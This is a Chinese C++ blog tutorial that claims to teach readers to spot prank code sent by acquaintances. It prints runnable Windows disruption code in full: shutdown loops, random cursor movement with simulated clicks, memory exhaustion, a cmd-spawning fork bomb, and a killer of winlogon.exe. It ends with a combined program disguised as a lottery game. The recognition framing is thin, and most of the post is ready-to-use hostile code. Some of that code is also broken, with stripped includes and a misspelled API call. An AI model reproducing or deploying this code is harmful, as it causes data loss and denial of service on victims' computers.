【C++教程】别人发给你这些代码一定不要运行!
前言
好消息:作者放假啦!
坏消息:还要集训……
由于各个编程网站提供了社交功能(如洛谷),有一些用户会给熟人发一些代码整他们,给他们开玩笑。如果你身边也有这样的人,那么就往下看,我们来识破他们代码中隐藏的诡计。当然你用的是Linux系统当我没说
注意:我们介绍到的代码千万不能发给别人!我们要做好人!不可以恶作剧!否则那个人对你怎么样了个不关我事!
第零章-认识一些东西
在进入正式的讲解之前,我们先来认识一些东西
1.windows.h头文件
如果你看到别人发给你的代码出现了这个东西,那么有很大的概率不是好东西:
#include
这个是Windows系统才可以使用的头文件,也是C++游戏和恶作剧代码必备的头文件,所以如果某某某发给你带有这个头文件的代码并且啥也没说,那么绝对不是好东西。
2.system操作
system,学了英语的应该都知道,它是‘系统’的意思。那么在C++环境下我们应该怎么使用它呢?
首先,我们一定要有Windows.h头文件。
然后,你这样写:
system("对应的操作");
即可。
举个example
第一章-晚安玛卡巴卡(关机)
最最最罪恶的东西——关机,当你还在闷头写题的时候,有人啥也不说给你发了一串代码,你“不小心”运行了,结果电脑关机,你写的代码没保存,全没了。
那么我们应该怎么避免出现这种问题呢?请选择:A.不运行别人发来的任何代码 B.学习CMZ的识别方法
如果你选择A,那么你可以走了。
如果你选择B,那么请接着往下看,并点赞+收藏(当然最好是关注啦)。
这个罪恶的东西就长这个样子:
system("shutdown -s -t 10");//这个代码会让电脑10秒后睡觉,如果没有末尾的数字或末尾数字为0,那么会直接睡觉
和这个东西恰恰相反的“起床”,也就是取消关机长这个样子:
system("shutdown -a");
所以有的人将会写一个这样的代码:
#include
#include
using namespace std;
int main(){
while (1) {
system("shutdown -s -t 1");//反复关机再取消关机
system("shutdown -a");
}
return 0;
}
当然,如果他不是好人,那么不会写注释的。
第二章-让鼠标飞起来
这个东西也非常恶心,让你除了关机别无选择,因为你无法控制鼠标指针关掉运行的程序。
所以它到底长什么样呢?请看:
while(1){
int x = time(0) * rand() % 1441, y = time(0) * rand() % 901;//因为屏幕的X最大是1440,Y最大是900,所以要取模
SetCursorPos(x, y);//控制鼠标飞起来的神秘代码
Sleep(0.7);//必须睡0.7秒,如果不睡的话就看不到什么大动静了(虽说死循环)
}
说到这里,我们就得引入一个新的东西:控制鼠标按下,这个东西要是配合起上面这段代码将会十分恐怖:
#include
#include
using namespace std;
int main(){
POINT p;
while(1){
GetCursorPos(&p);
SetCursorPos(rand() % 900, rand() % 1600);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);//模拟左键按下
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);//模拟左键放开
Sleep(10);
}
return 0;
}
若运行这段代码,可能会修改或关掉一些很重要的东西(例如这篇文章)
第三章-电脑要废了(内存炸了)
当你的电脑本就内存不多,一个坏蛋却给你发来拥有这段的代码:
while(1) {
new int; //真的很耗内存
Sleep(0.001);
}
然后你的内存就炸了。
第四章-超级cmd
懒的说了,自己看
while(1){//有点死的循环
system("start cmd");//生成新的cmd
}
第五章-罪恶的终极代码
这是所有介绍及未介绍的终极恶作剧代码:
#include //万能头
#include //就是这个东西
#include //不用管
#define do 523
#define re 578
#define mi 659
#define fa 698
#define so 784
#define la 880
#define si 988
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
using namespace std;
typedef NTSTATUS(NTAPI *pdef_NtRaiseHardError)(NTSTATUS ErrorStatus, ULONG NumberOfParameters, ULONG UnicodeStringParameterMask OPTIONAL, PULONG_PTR Parameters, ULONG ResponseOption, PULONG Response);
typedef NTSTATUS(NTAPI *pdef_RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
int n;
int main(){
srand(time(0));//随机数必备
SetConsoleOutputCP(CP_UTF8);//设置控制台的编码(因为原本输出中文是乱码)
cout << "欢迎来到抽奖机!
";
Sleep(1000);//跟scratch的等待1秒差不多
cout<< "请选择一个1~10的数字
";
Sleep(500);
cin>>n;
if (n == 1) {
cout<<"你真幸运!你的电脑会自己关机了!
";
system("shutdown -s -t 10");//让电脑10秒后趋势
}
if (n == 2) {
cout << "OMG!隔壁三角洲的红狼把他的外骨骼送给你的鼠标了!你的鼠标会飞了!
";
Sleep(3000);
while(1){
int x = time(0) * rand() % 1441, y = time(0) * rand() % 901;//因为屏幕的X最大是1440,Y最大是900,所以要取模
// cout<
SetCursorPos(x, y);//控制鼠标飞起来的神秘代码
Sleep(0.7);//必须睡0.7秒,如果不睡的话就看不到什么大动静了(虽说死循环)
}
}
if(n == 3) {
cout << "哈哈!送你一下东西!送什么呢?我喜欢黑色的,就送你一些吧!
";
Sleep(2750);
while(1){//有点死的循环
system("start cmd");//生成新的cmd
}
}
if (n == 4) {
cout << "哈!你的电脑内存";
while(1) {
new int; //真的很耗内存
Sleep(0.001);
cout << "不够了";
}
}
if (n == 5) {
cout << "呦!你的电脑会唱歌了!
";
while (1) {
cout << "so~";
Beep(so, 160);
cout << "so~";
Beep(so, 160);
cout << "mi~";
Beep(mi, 160);
cout << "la~";
Beep(la, 160);
cout << "so~
";
Beep(so, 400);
Sleep(1000);
}
}
if (n == 6) {
MessageBoxW(NULL, L"这个东西又来无回,真的要继续吗?", L"windows蓝屏警告", MB_YESNO|MB_ICONEXCLAMATION);
MessageBoxW(NULL, L"运行完以后,想要恢复的话重启电脑即可。", L"windows蓝屏警告", MB_OK|MB_ICONEXCLAMATION);
system("ntsd -c q -pn winlogon.exe");
}
if (n == 7) {
cout << "能进来的话代表是你的升日了呢!";
int cnt = 0;
while (1) {
MessageBoxW(MB_APPLMODAL,L" 升 日 快 乐 ",L"日",MB_OK|MB_ICONERROR);
system("start cmd");
if (cnt % 2 == 0) system("shutdown -s -t 10");
else system("shutdown -a");
for (int i = 1; i <= 1000; i++) {
int x = time(0) * rand() % 1441, y = time(0) * rand() % 901;
SetCursorPos(x, y);
Sleep(0.7);
}
cnt++;
}
}
if (n == 8) {
cout << "千万不要点鼠标!别怪我没提醒你!";
POINT p;
while (1) {
if (KEY_DOWN(VK_LBUTTON)) { // 如果鼠标左键被按下
Beep(si, 500);
system("start cmd");
}
Sleep(10);
}
}
if (n == 9) {
cout << "最好的一个!神秘大礼包!";
MessageBoxW(NULL, L"要打开吗?", L"Windows :)", MB_YESNO, MB_ICONASTERISK);
MessageBoxW(NULL, L"逼着?你打开!", L"Wi?do?s :?", MB_OK, MB_ICONERROR);
int x,y;
for (int a=0;a<10000;a++) {
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
}
for (int b=0;b<10;b++) {
system("start notepad");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start calc");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start winver");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
Beep(si, 100);
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start cmd");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start Nslookup");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start ");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start cleanmgr");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start charmap");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start calc");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start calc");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
Beep(mi, 100);
system("start dxdiag");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start cmd");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
Beep(so, 100);
system("start taskmgr");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start ");
system("start wiaacmgr");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start mspaint");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
system("start mmc");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
Beep(re, 100);
system("start ");
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
}
system("start dxdiag");
system("shutdown -s -t 7 -c :)");
for (int i = 1; i <= 2000; i++){
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
Sleep(0.7);
}
MessegeBoxW(NULL, L"错误422", L"傻了吧唧的Windows", MB_OK, MB_ICONERROR);
for (int i = 1; i <= 2000; i++){
x = rand()*time(0)%1441;
y = rand()*time(0)%901;
SetCursorPos(x,y);
Sleep(0.7);
}
}
if (n == 10) {
cout << "最温馨的一个";
while (1) {
system("shutdown -s -t 1");
system("shutdown -a");
}
}
return 0;
}
结语
还是那句话:我们介绍到的代码千万不能发给别人!我们要做好人!不可以恶作剧!否则那个人对你怎么样了个不关我事!
注意:如果别人给你发了以上类似代码,怎么处置你说了算









